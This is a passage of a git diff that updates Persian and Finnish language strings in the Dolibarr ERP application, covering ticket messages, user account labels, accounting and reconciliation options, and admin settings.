TicketMessagesList=فهرست پیام‌ها @@ -202,8 +209,8 @@ TicketSeverity=درجۀ اهمیت ShowTicket=نمایش برگه RelatedTickets=برگه‌های مرتبط TicketAddIntervention=ایجاد پادرمیانی -CloseTicket=Close|Solve ticket -AbandonTicket=Abandon ticket +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Close|Solve a ticket ConfirmCloseAticket=توقف پشتیبانی را تائید کنید ConfirmAbandonTicket=Do you confirm the closing of the ticket to status 'Abandonned' @@ -217,18 +224,17 @@ SendMessageByEmail=ارسال پیام توسط رایانامه TicketNewMessage=پیام جدید ErrorMailRecipientIsEmptyForSendTicketMessage=گیرنده خالی است. رایانامه‌ای ارسال نشد. TicketGoIntoContactTab=به زبانۀ "طرف‌های تماس" رفته تا آنان را انتخاب کنید -TicketMessageMailIntro=مقدمه +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=این نوشته تنها در ابتدای رایانامه اضافه خواهد شد و قابل ذخیره نیست -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=امضا -TicketMessageMailSignatureHelp=این نوشته در انتهای متن رایانامه آمده و ذخیره نخواهد شد. -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=امضای نامۀ پاسخ -TicketMessageMailSignatureHelpAdmin=این نوشته پس از پیام پاسخ درج خواهد شد +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=این نوشته پس از پیام پاسخ درج خواهد شد TicketMessageHelp=تنها این نوشته در فهرست پیام در کارت برگۀ‌پشتیبانی ذخیره خواهد شد TicketMessageSubstitutionReplacedByGenericValues=متغیرهای جایگزین با مقادیر عمومی جایگزین خواهند شد +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=زمان سپری شده از TicketTimeToRead=زمان سپری شد قبل از خوانده‌شدن TicketTimeElapsedBeforeSince=Time elapsed before / since @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=یک پیام جدید بر روی ب TicketAssignedToYou=برگه نسبت داده شد TicketAssignedEmailBody=شما به برگۀ #%s نسبت داده شده‌اید، توسط %s MarkMessageAsPrivate=علامت‌زدن پیام به عنوان خصوصی +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=این پیام به کاربران خارجی نمایش داده نخواهد شد TicketEmailOriginIssuer=صادر کننده در اصل برگه‌ها InitialMessage=پیام ابتدائی @@ -294,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=شما می‌توانید میزان پ TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=لطفا این رایانامه را مستقیما جواب ندهید! برای پاسخ دادن در رابط اختصاصی، روی پیوند کلیک نمائید TicketPublicInfoCreateTicket=این برگه به شما امکان ثبت یک برگۀ پشتیبانی در سامانۀ مدیریت ما را می‌دهد. -TicketPublicPleaseBeAccuratelyDescribe=لطفا مشکل را با دقت توضیح دهید. حداکثر اطلاعاتی که ممکن است درج کنید تا ما بتوانیم درخواست شما را به‌درستی تشخیص دهیم. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=لطفا شناسۀ رهگیری برگه را وارد نمائید TicketTrackId=شناسۀ رهگیری عمومی OneOfTicketTrackId=یکی از شناسه‌های رهگیری شما diff --git a/htdocs/langs/fa_IR/users.lang b/htdocs/langs/fa_IR/users.lang index 2d445b0f99f..eae16b0b173 100644 --- a/htdocs/langs/fa_IR/users.lang +++ b/htdocs/langs/fa_IR/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=پاک کردن از گروه PasswordChangedAndSentTo=گذرواژه تغییر یافت و به %s ارسال شد. PasswordChangeRequest=درخواست تغییر گذرواژۀ برای %s PasswordChangeRequestSent=درخواست تغییر گذرواژه برای %s به %s ارسال شد -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. ConfirmPasswordReset=تائید بازنشانی گذرواژه MenuUsersAndGroups=کاربران و گروهها @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=ساختن یک کاربر CreateDolibarrThirdParty=ایجاد یک شخص‌سوم -LoginAccountDisableInDolibarr=حساب در Dolibarr غیرفعال است +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=استفاده از مقداردهی شخصی -InternalUser=کاربر داخلی ExportDataset_user_1=کاربران و مشخصات آنها DomainUser=کاربر دامنه %s Reactivate=دوباره فعال کردن @@ -128,3 +128,8 @@ DateLastLogin=Date last login DatePreviousLogin=Date previous login IPLastLogin=IP last login IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/fi_FI/accountancy.lang b/htdocs/langs/fi_FI/accountancy.lang index d2dec29ce29..c74f9bf06b5 100644 --- a/htdocs/langs/fi_FI/accountancy.lang +++ b/htdocs/langs/fi_FI/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Select the carriage return type ACCOUNTING_EXPORT_PREFIX_SPEC=Määritä tiedostonimen etuliite ThisService=Tämä palvelu ThisProduct=Tämä tuote -DefaultForService=Oletusarvo palvelulle -DefaultForProduct=Oletusarvo tuotteelle +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Product for this thirdparty ServiceForThisThirdparty=Service for this thirdparty CantSuggest=Ei ehdotuksia @@ -48,8 +48,9 @@ CountriesNotInEEC=EU: n ulkopuoliset maat CountriesInEECExceptMe=EU-alueen maat, poislukien %s CountriesExceptMe=Kaikki maat, poislukien %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,28 +59,29 @@ MainAccountForSuppliersNotDefined=Main accounting account for vendors not define MainAccountForUsersNotDefined=Main accounting account for users not defined in setup MainAccountForVatPaymentNotDefined=Main accounting account for VAT payment not defined in setup MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Accounting area AccountancyAreaDescIntro=Usage of the accountancy module is done in several step: AccountancyAreaDescActionOnce=The following actions are usually executed one time only, or once per year... -AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you the correct default accounting account when making the journalization (writing record in Journals and General ledger) +AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you automaticaly the correct default accounting account when transferring data in accounting AccountancyAreaDescActionFreq=The following actions are usually executed every month, week or day for very large companies... -AccountancyAreaDescJournalSetup=STEP %s: Create or check content of your journal list from menu %s +AccountancyAreaDescJournalSetup=STEP %s: Check content of your journal list from menu %s AccountancyAreaDescChartModel=STEP %s: Check that a model of chart of account exists or create one from menu %s AccountancyAreaDescChart=STEP %s: Select and|or complete your chart of account from menu %s AccountancyAreaDescVat=STEP %s: Define accounting accounts for each VAT Rates. For this, use the menu entry %s. AccountancyAreaDescDefault=STEP %s: Define default accounting accounts. For this, use the menu entry %s. -AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of expense report. For this, use the menu entry %s. +AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of Expense report. For this, use the menu entry %s. AccountancyAreaDescSal=STEP %s: Define default accounting accounts for payment of salaries. For this, use the menu entry %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for special expenses (miscellaneous taxes). For this, use the menu entry %s. +AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. AccountancyAreaDescDonation=STEP %s: Define default accounting accounts for donation. For this, use the menu entry %s. AccountancyAreaDescSubscription=STEP %s: Define default accounting accounts for member subscription. For this, use the menu entry %s. AccountancyAreaDescMisc=STEP %s: Define mandatory default account and default accounting accounts for miscellaneous transactions. For this, use the menu entry %s. AccountancyAreaDescLoan=STEP %s: Define default accounting accounts for loans. For this, use the menu entry %s. AccountancyAreaDescBank=STEP %s: Define accounting accounts and journal code for each bank and financial accounts. For this, use the menu entry %s. -AccountancyAreaDescProd=STEP %s: Define accounting accounts on your products/services. For this, use the menu entry %s. +AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. AccountancyAreaDescBind=STEP %s: Check the binding between existing %s lines and accounting account is done, so application will be able to journalize transactions in Ledger in one click. Complete missing bindings. For this, use the menu entry %s. AccountancyAreaDescWriteRecords=STEP %s: Write transactions into the Ledger. For this, go into menu %s, and click into button %s. @@ -99,7 +101,8 @@ ShowAccountingAccount=Show accounting account ShowAccountingJournal=Show accounting journal ShowAccountingAccountInLedger=Show accounting account in ledger ShowAccountingAccountInJournals=Show accounting account in journals -AccountAccountingSuggest=Ehdotettu kirjanpitotili +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Oletustilit MenuBankAccounts=Pankkitilit MenuVatAccounts=Arvonlisäverotilit @@ -112,7 +115,7 @@ MenuAccountancyClosure=Closure MenuAccountancyValidationMovements=Validate movements ProductsBinding=Products accounts TransferInAccounting=Transfer in accounting -RegistrationInAccounting=Registration in accounting +RegistrationInAccounting=Recording in accounting Binding=Tilien täsmäytys CustomersVentilation=Asiakaan laskun täsmäytys SuppliersVentilation=Toimittajan laskun kiinnittäminen @@ -120,10 +123,11 @@ ExpenseReportsVentilation=Kuluraportin kiinnittäminen CreateMvts=Luo uusi transaktio UpdateMvts=Transaktion muuttaminen ValidTransaction=Hyväksy transaktio -WriteBookKeeping=Register transactions in accounting +WriteBookKeeping=Record transactions in accounting Bookkeeping=Pääkirjanpito BookkeepingSubAccount=Subledger AccountBalance=Tilin saldo +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Source object ref CAHTF=Total purchase vendor before tax TotalExpenseReport=Total expense report @@ -161,41 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=Disable direct recording of transaction in bank accoun ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Enable draft export on journal ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Myyntipäiväkirja -ACCOUNTING_PURCHASE_JOURNAL=Ostopäiväkirja -ACCOUNTING_MISCELLANEOUS_JOURNAL=Sekalainen päiväkirja +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Kuluraportti päiväkirja -ACCOUNTING_SOCIAL_JOURNAL=Sosiaalinen päiväkirja +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Sosiaalinen päiväkirja ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Asiakirjan tyyppi Docdate=Päiväys @@ -210,7 +220,8 @@ Codejournal=Päiväkirja JournalLabel=Journal label NumPiece=Piece number TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -219,12 +230,12 @@ ByPredefinedAccountGroups=By predefined groups ByPersonalizedAccountGroups=By personalized groups ByYear=Vuoden mukaan NotMatch=Not Set -DeleteMvt=Delete some operation lines from accounting +DeleteMvt=Delete some lines from accounting DelMonth=Month to delete DelYear=Poistettava vuosi DelJournal=Poistettava päiväkirja -ConfirmDeleteMvt=This will delete all operation lines of the accounting for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all operation lines related to the same transaction will be deleted) +ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. +ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) FinanceJournal=Finance journal ExpenseReportsJournal=Expense reports journal DescFinanceJournal=Finance journal including all the types of payments by bank account @@ -258,19 +269,20 @@ ShowSubtotalByGroup=Show subtotal by level Pcgtype=Group of account PcgtypeDesc=Group of account are used as predefined 'filter' and 'grouping' criteria for some accounting reports. For example, 'INCOME' or 'EXPENSE' are used as groups for accounting accounts of products to build the expense/income report. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Reconcilable TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -278,30 +290,32 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not validated & fiscal years already open -OverviewOfMovementsNotValidated=Step 1/ Overview of movements not validated. (Necessary to close a fiscal year) -AllMovementsWereRecordedAsValidated=All movements were recorded as validated -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated -ValidateMovements=Validate movements +DescClosure=Consult here the number of movements by month not yet validated & locked +OverviewOfMovementsNotValidated=Overview of movements not validated and locked +AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked +NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Bind Automatically AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Virhe, tätä kirjanpito tiliä ei voida poistaa koska se on käytössä -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balancing FicheVentilation=Binding card GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. -NoNewRecordSaved=No more record to journalize -ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account +NoNewRecordSaved=No more record to transfer +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Change the binding Accounted=Kirjattu pääkirjanpitoon NotYetAccounted=Not yet transferred to accounting ShowTutorial=Show Tutorial NotReconciled=Täsmäyttämätön -WarningRecordWithoutSubledgerAreExcluded=Warning, all operations without subledger account defined are filtered and excluded from this view +WarningRecordWithoutSubledgerAreExcluded=Warning, all lines without subledger account defined are filtered and excluded from this view +AccountRemovedFromCurrentChartOfAccount=Accounting account that does not exist in the current chart of accounts ## Admin BindingOptions=Binding options @@ -317,9 +331,10 @@ AccountingJournalType1=Miscellaneous operations AccountingJournalType2=Myynti AccountingJournalType3=Ostot AccountingJournalType4=Pankki -AccountingJournalType5=Expenses report +AccountingJournalType5=Kulutositteet AccountingJournalType8=Varasto AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=This journal is already use AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Number of entries @@ -327,10 +342,15 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export -NotifiedExportDate=Flag exported lines as exported (modification of the lines will not be possible) -NotifiedValidationDate=Validate the exported entries (modification or deletion of the lines will not be possible) +NotExportLettering=Do not export the lettering when generating the file +NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? +DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Export draft journal Modelcsv=Vientimalli @@ -386,7 +406,7 @@ SaleLocal=Local sale SaleExport=Export sale SaleEEC=Sale in EEC SaleEECWithVAT=Sale in EEC with a VAT not null, so we suppose this is NOT an intracommunautary sale and the suggested account is the standard product account. -SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fallback on the product account for standard sales. You can fix the VAT ID of thirdparty or the product account if needed. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. ## Dictionary @@ -394,6 +414,26 @@ Range=Range of accounting account Calculated=Laskettu Formula=Kaava +## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual +Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual +AccountancyNoLetteringModified=No reconcile modified +AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified +AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified +AccountancyNoUnletteringModified=No unreconcile modified +AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modified +AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified + +## Confirm box +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? +ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation +ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? + ## Error SomeMandatoryStepsOfSetupWereNotDone=Some mandatory steps of setup was not done, please complete them ErrorNoAccountingCategoryForThisCountry=No accounting account group available for country %s (See Home - Setup - Dictionaries) @@ -406,6 +446,11 @@ Binded=Rivit yhdistetty ToBind=Yhdistettäviä rivejä UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +AccountancyErrorMismatchLetterCode=Mismatch in reconcile code +AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 +AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Accounting entries @@ -432,6 +477,7 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s accounts diff --git a/htdocs/langs/fi_FI/admin.lang b/htdocs/langs/fi_FI/admin.lang index 58ce91f6e44..33a7c90b0a4 100644 --- a/htdocs/langs/fi_FI/admin.lang +++ b/htdocs/langs/fi_FI/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Clientin ulkoasu WarningModuleNotActive=Moduuli %s on oltava käytössä WarningOnlyPermissionOfActivatedModules=Vain aktivoitujen moduulien oikeudet ovat nähtävissä. Voit aktivoida moduuleita Koti - Asetukset - Moduulit - sivulla DolibarrSetup=Dolibarr asennus tai päivitys -InternalUser=Sisäinen käyttäjä -ExternalUser=Ulkoinen käyttäjä InternalUsers=Sisäiset käyttäjät ExternalUsers=Ulkopuoliset käyttäjät UserInterface=User interface @@ -147,6 +145,7 @@ Box=Widget Boxes=Widgetit MaxNbOfLinesForBoxes=Maksimi rivimäärä Widgeteille AllWidgetsWereEnabled=Kaikki saatavilla olevat Widgetit on aktivoitu +WidgetAvailable=Widget available PositionByDefault=Oletusjärjestys Position=Sijainti MenusDesc=Valikkohallinnasta asetetaan kahden valikkorivin (vaaka- ja pystysuora) sisältö. @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP / SMTPS-isäntä (oletusarvo php.ini-tiedostossa: MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS Portti (Ei määritelty PHP:hen Unix-tyyppisissä järjestelmissä) 